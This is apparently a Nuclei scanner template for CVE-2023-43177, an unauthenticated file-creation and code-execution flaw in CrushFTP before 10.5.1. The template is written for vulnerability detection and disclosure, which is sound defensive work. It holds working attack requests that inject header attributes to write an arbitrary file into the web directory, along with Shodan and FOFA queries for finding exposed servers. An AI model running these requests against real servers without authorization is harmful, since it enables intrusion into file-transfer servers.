id: CVE-2023-43177

info:
  name: CrushFTP < 10.5.1 - Unauthenticated Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    CrushFTP prior to 10.5.1 is vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes.
  impact: |
    Unauthenticated attackers can manipulate dynamically-determined object attributes to create arbitrary files in the web interface directory, potentially achieving remote code execution and compromising the entire CrushFTP file transfer server.
  remediation: |
    Update CrushFTP to version 10.5.1 or later that properly controls modification of object attributes and prevents arbitrary file creation through the WebInterface API.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43177
    - https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/
    - https://blog.projectdiscovery.io/crushftp-rce/
    - https://github.com/the-emmons/CVE-Disclosures/blob/main/Pending/CrushFTP-2023-1.md
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-43177
    cwe-id: CWE-913
    epss-score: 0.81801
    epss-percentile: 0.99601
    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: crushftp
    product: crushftp
    shodan-query: http.html:"crushftp"
    fofa-query: body="crushftp"
  tags: cve,cve2023,crushftp,unauth,rce,intrusive,vkev,vuln
flow: http(1) && http(2) && http(3)

variables:
  dirname: "{{randbase(5)}}"
  filename: "{{randbase(5)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/WebInterface"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - contains_all(to_lower(header), "currentauth", "crushauth")

  - method: POST
    path:
      - "{{BaseURL}}/WebInterface/function/?command=getUsername&c2f={{http_1_currentauth}}"

    headers:
      Cookie: "CrushAuth={{http_1_crushauth}}; currentAuth={{http_1_currentauth}}"
      as2-to: X
      user_name: crushadmin{{dirname}}
      user_log_path: "./WebInterface/{{dirname}}/"
      user_log_file: "{{filename}}"
      Content-Type: application/x-www-form-urlencoded

    body: |
      post=body

    matchers:
      - type: regex
        regex:
          - "crushadmin"

  - method: GET
    path:
      - "{{BaseURL}}/WebInterface/{{dirname}}/{{filename}}"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "crushadmin{{dirname}}")
        condition: and
# digest: 490a0046304402203ddccd029cd79ff5a893950f67cb8be319b9f8f64c704777ef63ae711fab52d502200821b9c15b95ebeecbb3f129c7103e7b49944e1529c6f7b5b34f66488667e609:922c64590222798bb761d5b6d8e72950